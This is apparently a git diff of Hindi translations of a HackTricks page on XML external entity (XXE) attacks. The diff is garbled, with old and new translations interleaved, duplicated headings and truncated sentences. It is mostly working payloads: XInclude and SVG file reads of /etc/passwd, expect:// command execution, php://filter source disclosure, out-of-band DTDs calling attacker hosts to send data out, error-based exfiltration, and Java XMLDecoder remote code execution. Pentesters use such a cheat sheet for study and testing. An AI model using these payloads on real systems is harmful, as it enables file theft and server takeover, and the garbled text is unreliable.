`XInclude` हमला करने के लिए, आपको `XInclude` नेमस्पेस का संदर्भ देना होगा और उस फाइल का पथ प्रदान करना होगा जिसे आप शामिल करना चाहते हैं। उदाहरण के लिए:
|
||||
```markup
|
||||
`XInclude` हमला प्रारंभ करने के लिए, `XInclude` नेमस्पेस को शामिल करना आवश्यक है, साथ ही सम्मिलित करने के लिए फ़ाइल पथ का निर्देशन करना होगा। निम्नलिखित उदाहरण दिखाता है कि ऐसा हमला कैसे संरचित किया जा सकता है:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
### SVG - फाइल अपलोड
|
||||
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) देखें!
|
||||
|
||||
[यहाँ से।](https://portswigger.net/web-security/xxe)
|
||||
### SVG - फ़ाइल अपलोड
|
||||
|
||||
कुछ एप्लिकेशन उपयोगकर्ताओं को फाइलें अपलोड करने की अनुमति देते हैं जिन्हें फिर सर्वर-साइड पर प्रोसेस किया जाता है। कुछ सामान्य फाइल प्रारूप XML का उपयोग करते हैं या XML उपघटकों को समाहित करते हैं। XML-आधारित प्रारूपों के उदाहरण हैं ऑफिस दस्तावेज़ प्रारूप जैसे कि DOCX और छवि प्रारूप जैसे कि SVG।
|
||||
उन एप्लिकेशनों में उपयोगकर्ताओं द्वारा अपलोड की गई फ़ाइलें, जो फिर सर्वर पर प्रोसेस की जाती हैं, XML या XML-संबंधित फ़ाइल प्रारूपों को कैसे हैंडल किया जाता है, में कमियों का शिकार हो सकती हैं। ऑफिस दस्तावेज़ (DOCX) और छवियों (SVG) जैसे सामान्य फ़ाइल प्रारूप XML पर आधारित होते हैं।
|
||||
|
||||
उदाहरण के लिए, एक एप्लिकेशन उपयोगकर्ताओं को **छवियाँ अपलोड करने** की अनुमति दे सकता है, और उन्हें अपलोड करने के बाद सर्वर पर प्रोसेस या वैलिडेट कर सकता है। यहाँ तक कि अगर एप्लिकेशन PNG या JPEG जैसे प्रारूप की अपेक्षा करता है, तो **छवि प्रोसेसिंग लाइब्रेरी जो उपयोग में ली जा रही है वह SVG छवियों का समर्थन कर सकती है**। चूँकि SVG प्रारूप XML का उपयोग करता है, एक हमलावर एक दुर्भावनापूर्ण SVG छवि सबमिट कर सकता है और इस प्रकार XXE भेद्यताओं के लिए छिपे हुए हमले की सतह तक पहुँच सकता है।
|
||||
```markup
|
||||
जब उपयोगकर्ताएं **छवियाँ अपलोड** करते हैं, तो ये छवियाँ सर्वर-साइड प्रोसेस या सत्यापित की जाती हैं। PNG या JPEG जैसे प्रारूपों की अपेक्षा रखने वाले एप्लिकेशनों के लिए भी, **सर्वर की छवि प्रोसेसिंग पुस्तकालय भी SVG छवियों का समर्थन कर सकती है**। SVG, जो एक XML-आधारित प्रारूप है, हमलावादियों द्वारा दुरुपयोग किया जा सकता है ताकि वे दुरुपयोगी SVG छवियाँ सबमिट कर सकें, जिससे सर्वर को XXE (XML External Entity) जोखिमों का सामना करना पड़ सकता है।
|
||||
|
||||
इस तरह के एक दुरुपयोग का उदाहरण नीचे दिखाया गया है, जहां एक दुरुपयोगी SVG छवि सिस्टम फ़ाइलें पढ़ने का प्रयास करती है:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
आप PHP "expect" wrapper का उपयोग करके **कमांड्स निष्पादित** करने का प्रयास भी कर सकते हैं:
|
||||
```markup
|
||||
एक और तकनीक शामिल है जिसमें PHP "expect" व्रापर के माध्यम से **कमांड्स को निष्पादित** करने की कोशिश की जाती है:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
**ध्यान दें कि पढ़ी गई फ़ाइल की पहली पंक्ति या निष्पादन के परिणाम की पहली पंक्ति बनाई गई छवि के अंदर दिखाई देगी। इसलिए आपको उस छवि तक पहुँचने में सक्षम होना चाहिए जिसे SVG ने बनाया है।**
|
||||
दोनों मामलों में, SVG प्रारूप का उपयोग सर्वर के सॉफ़्टवेयर की XML प्रोसेसिंग क्षमताओं का शोषण करने वाले हमलों को लॉन्च करने के लिए किया जाता है, जिससे मजबूत इनपुट मान्यता और सुरक्षा उपाय की आवश्यकता को हाइलाइट किया जाता है।
|
||||
|
||||
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) देखें!
|
||||
|
||||
**ध्यान दें कि पढ़े गए फ़ाइल की पहली पंक्ति या नतीजे का निष्क्रिय करने की पहली पंक्ति निर्मित छवि के अंदर दिखाई देगी। इसलिए आपको उस छवि तक पहुंचने की क्षमता होनी चाहिए।**
|
||||
|
||||
### **PDF - फ़ाइल अपलोड**
|
||||
|
||||
XXE का शोषण करने के लिए PDF फ़ाइल अपलोड करने के बारे में निम्नलिखित पोस्ट पढ़ें:
|
||||
**एक PDF फ़ाइल अपलोड करके XXE का शोषण कैसे करें** इसे अभियान करने के लिए निम्नलिखित पोस्ट को पढ़ें:
|
||||
|
||||
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
||||
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
|
@ -396,7 +385,7 @@ XXE का शोषण करने के लिए PDF फ़ाइल अप
|
|||
|
||||
### Content-Type: x-www-urlencoded से XML तक
|
||||
|
||||
यदि कोई POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में XXE का शोषण करने का प्रयास कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित होता है:
|
||||
यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में एक XXE का शोषण करने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है:
|
||||
```markup
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -404,7 +393,7 @@ Content-Length: 7
|
|||
|
||||
foo=bar
|
||||
```
|
||||
तब आप निम्नलिखित अनुरोध सबमिट कर सकते हैं, समान परिणाम के साथ:
|
||||
तो फिर आप निम्नलिखित अनुरोध को सबमिट कर सकते हैं, जिससे एक ही परिणाम मिलेगा:
|
||||
```markup
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
|
@ -412,9 +401,9 @@ Content-Length: 52
|
|||
|
||||
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
|
||||
```
|
||||
### Content-Type: JSON से XEE में परिवर्तन
|
||||
### Content-Type: JSON से XEE तक
|
||||
|
||||
अनुरोध में परिवर्तन करने के लिए आप “**Content Type Converter**“ नामक एक Burp Extension का उपयोग कर सकते हैं। [यहाँ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) आप इस उदाहरण को देख सकते हैं:
|
||||
अनुरोध को बदलने के लिए आप एक बर्प एक्सटेंशन उपयोग कर सकते हैं जिसका नाम है "**Content Type Converter**". [यहाँ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) आप इस उदाहरण को देख सकते हैं:
|
||||
```markup
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
|
@ -442,19 +431,19 @@ Content-Type: application/xml;charset=UTF-8
|
|||
</root>
|
||||
</root>
|
||||
```
|
||||
एक और उदाहरण [यहाँ](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) पाया जा सकता है।
|
||||
एक और उदाहरण [यहाँ](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) मिल सकता है।
|
||||
|
||||
## WAF & सुरक्षा बायपास
|
||||
## WAF और सुरक्षा अवरोध
|
||||
|
||||
### Base64
|
||||
```markup
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
यह केवल तभी काम करता है जब XML सर्वर `data://` प्रोटोकॉल को स्वीकार करता है।
|
||||
यह केवल तब काम करेगा अगर XML सर्वर `data://` प्रोटोकॉल स्वीकार करता है।
|
||||
|
||||
### UTF-7
|
||||
|
||||
आप यहाँ साइबरशेफ की \[**"Encode Recipe**" का उपयोग कर सकते हैं ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7 में परिवर्तित करने के लिए।
|
||||
आप यहाँ \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transform to UTF-7.
|
||||
```markup
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
|
@ -466,17 +455,17 @@ Content-Type: application/xml;charset=UTF-8
|
|||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||
```
|
||||
### File:/ Protocol Bypass
|
||||
### फ़ाइल:/ प्रोटोकॉल बाईपास
|
||||
|
||||
यदि वेब PHP का उपयोग कर रहा है, तो `file:/` का उपयोग करने के बजाय आप **php wrappers** `php://filter/convert.base64-encode/resource=` का उपयोग करके **आंतरिक फाइलों तक पहुँच** सकते हैं।
|
||||
अगर वेब PHP का उपयोग कर रहा है, तो `file:/` की बजाय आप **php wrappers**`php://filter/convert.base64-encode/resource=` का उपयोग करके **आंतरिक फ़ाइलों तक पहुँच सकते हैं**।
|
||||
|
||||
यदि वेब Java का उपयोग कर रहा है तो आप [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol) की जाँच कर सकते हैं।
|
||||
अगर वेब Java का उपयोग कर रहा है तो आप [**jar: प्रोटोकॉल**](xxe-xee-xml-external-entity.md#jar-protocol) की जाँच कर सकते हैं।
|
||||
|
||||
### HTML Entities
|
||||
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) से ट्रिक\
|
||||
आप **html entities** का उपयोग करके एक **entity के अंदर एक entity** बना सकते हैं और फिर इसे **dtd लोड करने** के लिए कॉल कर सकते हैं।\
|
||||
ध्यान दें कि उपयोग किए गए **HTML Entities** को **numeric** होना चाहिए (जैसे \[इस उदाहरण में]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
||||
आप एक **एंटिटी को एंटिटी के अंदर बना सकते हैं** जिसे **html entities** के साथ एन्कोड करके और फिर उसे **एक dtd लोड करने के लिए कॉल कर सकते हैं**।\
|
||||
ध्यान दें कि उपयोग किए गए **HTML Entities** को **संख्यात्मक** होना चाहिए (जैसे \[इस उदाहरण में]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C))।
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
|
@ -490,7 +479,7 @@ DTD उदाहरण:
|
|||
%abt;
|
||||
%exfil;
|
||||
```
|
||||
## PHP Wrappers
|
||||
## PHP रैपर्स
|
||||
|
||||
### Base64
|
||||
|
||||
|
@ -498,13 +487,13 @@ DTD उदाहरण:
|
|||
```markup
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
||||
```
|
||||
#### **बाहरी संसाधन निकालें**
|
||||
#### **बाह्य संसाधन निकालें**
|
||||
```markup
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
|
||||
```
|
||||
### रिमोट कोड निष्पादन
|
||||
|
||||
**यदि PHP "expect" मॉड्यूल लोड हो गया है**
|
||||
**यदि PHP "expect" मॉड्यूल लोड है**
|
||||
```markup
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [ <!ELEMENT foo ANY >
|
||||
|
@ -520,12 +509,12 @@ DTD उदाहरण:
|
|||
```
|
||||
## XLIFF - XXE
|
||||
|
||||
यह खंड [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) से लिया गया है\
|
||||
यह खंड [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) से लिया गया था।
|
||||
[Wikipedia](https://en.wikipedia.org/wiki/XLIFF) के अनुसार:
|
||||
|
||||
> XLIFF (XML Localization Interchange File Format) एक XML-आधारित बिटेक्स्ट प्रारूप है जिसे स्थानीयकरण प्रक्रिया के दौरान और उपकरणों के बीच स्थानीयकरण डेटा को पास करने के तरीके को मानकीकृत करने और CAT टूल एक्सचेंज के लिए एक सामान्य प्रारूप बनाने के लिए बनाया गया है।
|
||||
> XLIFF (XML Localization Interchange File Format) एक XML-आधारित बाइटेक्स्ट प्रारूप है जो स्थानीयकरण प्रक्रिया के दौरान स्थानीयकरणीय डेटा को उपकरणों के बीच और में पारित करने के लिए मानकीकृत करने के लिए बनाया गया है और CAT उपकरण विनिमय के लिए एक सामान्य प्रारूप है।
|
||||
|
||||
### ब्लाइंड रिक्वेस्ट
|
||||
### अंधा अनुरोध
|
||||
```markup
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
|
@ -541,7 +530,7 @@ Content-Type: application/x-xliff+xml
|
|||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||
```
|
||||
लेकिन हमें Burp Collaborator पर एक हिट मिली।
|
||||
लेकिन हमें बर्प कॉलेबोरेटर पर हिट मिला।
|
||||
|
||||
### आउट ऑफ बैंड के माध्यम से डेटा निकालना
|
||||
```markup
|
||||
|
@ -555,9 +544,11 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
### एरर आधारित के माध्यम से डेटा निकालना
|
||||
जैसा कि burp collaborator द्वारा प्रदर्शित User Agent से प्रतिक्रिया मिलती है, ऐसा लगता है कि यह **Java 1.8** का उपयोग कर रहा है। इस जावा संस्करण पर XXE का शोषण करते समय एक समस्या यह है कि **हम `New Line` जैसी फ़ाइलों को प्राप्त करने में असमर्थ हैं** जैसे कि `/etc/passwd` का उपयोग करके Out of Band तकनीक का उपयोग करके।
|
||||
|
||||
DTD फाइल:
|
||||
### त्रुटि आधारित के माध्यम से डेटा निकालना
|
||||
|
||||
DTD फ़ाइल:
|
||||
```markup
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
|
@ -568,7 +559,7 @@ DTD फाइल:
|
|||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
बहुत अच्छा! `non-exist` फ़ाइल त्रुटि संदेशों में परिलक्षित होती है। अगला कदम है फ़ाइल सामग्री को जोड़ना।
|
||||
महान! `non-exist` फ़ाइल त्रुटि संदेश में प्रतिबिंबित है। अगला कदम है फ़ाइल सामग्री जोड़ना।
|
||||
|
||||
DTD फ़ाइल:
|
||||
```markup
|
||||
|
@ -577,15 +568,15 @@ DTD फ़ाइल:
|
|||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
और फ़ाइल की सामग्री सफलतापूर्वक **HTTP के माध्यम से भेजी गई त्रुटि के आउटपुट में प्रिंट की गई थी**।
|
||||
और फ़ाइल का सामग्री सफलतापूर्वक **HTTP के माध्यम से भेजे गए त्रुटि के आउटपुट में प्रिंट किया गया था**।
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
XXE संवेदनशीलता का शोषण करने के लिए मान्य XML जिसका प्रारूप RSS है।
|
||||
XXE जोखिम का शोषण करने के लिए RSS प्रारूप के साथ मान्य XML।
|
||||
|
||||
### पिंग बैक
|
||||
|
||||
हमलावर के सर्वर पर साधारण HTTP अनुरोध
|
||||
हमलावर के सर्वर को सरल HTTP अनुरोध।
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -606,7 +597,7 @@ XXE संवेदनशीलता का शोषण करने के
|
|||
</channel>
|
||||
</rss>
|
||||
```
|
||||
### फाइल पढ़ें
|
||||
### फ़ाइल पढ़ें
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -627,9 +618,9 @@ XXE संवेदनशीलता का शोषण करने के
|
|||
</channel>
|
||||
</rss>
|
||||
```
|
||||
### सोर्स कोड पढ़ें
|
||||
### स्रोत कोड पढ़ें
|
||||
|
||||
PHP base64 फ़िल्टर का उपयोग करते हुए
|
||||
PHP base64 फ़िल्टर का उपयोग करें
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -652,9 +643,7 @@ PHP base64 फ़िल्टर का उपयोग करते हुए
|
|||
```
|
||||
## Java XMLDecoder XEE से RCE तक
|
||||
|
||||
XMLDecoder एक Java क्लास है जो XML संदेश के आधार पर ऑब्जेक्ट्स बनाती है। यदि कोई दुर्भावनापूर्ण उपयोगकर्ता किसी एप्लिकेशन को **readObject** मेथड में मनमाने डेटा का उपयोग करने के लिए प्राप्त कर सकता है, तो वह तुरंत सर्वर पर कोड निष्पादन प्राप्त कर लेगा।
|
||||
|
||||
### Runtime().exec() का उपयोग करते हुए
|
||||
XMLDecoder एक Java क्लास है जो एक XML संदेश पर आधारित ऑब्ज
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||||
|
@ -685,6 +674,8 @@ XMLDecoder एक Java क्लास है जो XML संदेश के
|
|||
</java>
|
||||
```
|
||||
### ProcessBuilder
|
||||
|
||||
### प्रक्रिया निर्माता
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||||
|
@ -722,7 +713,7 @@ XMLDecoder एक Java क्लास है जो XML संदेश के
|
|||
|
||||
[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
|
||||
[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
|
||||
अपने बाहरी DTD का उपयोग करके HTTP के माध्यम से जानकारी निकालें: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
|
||||
अपने बाह्य DTD का उपयोग करके HTTP के माध्यम से जानकारी निकालें: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
|
||||
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
|
||||
[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
|
||||
[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
|
||||
|
@ -731,14 +722,14 @@ XMLDecoder एक Java क्लास है जो XML संदेश के
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,59 +1,58 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* अगर आप अपनी कंपनी को **HackTricks में विज्ञापित करना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का** **अनुसरण** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को PRs जमा करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
निम्नलिखित चरणों की सिफारिश की जाती है उपकरण स्टार्टअप कॉन्फ़िगरेशन और बूटलोडर्स जैसे U-boot को संशोधित करने के लिए:
|
||||
|
||||
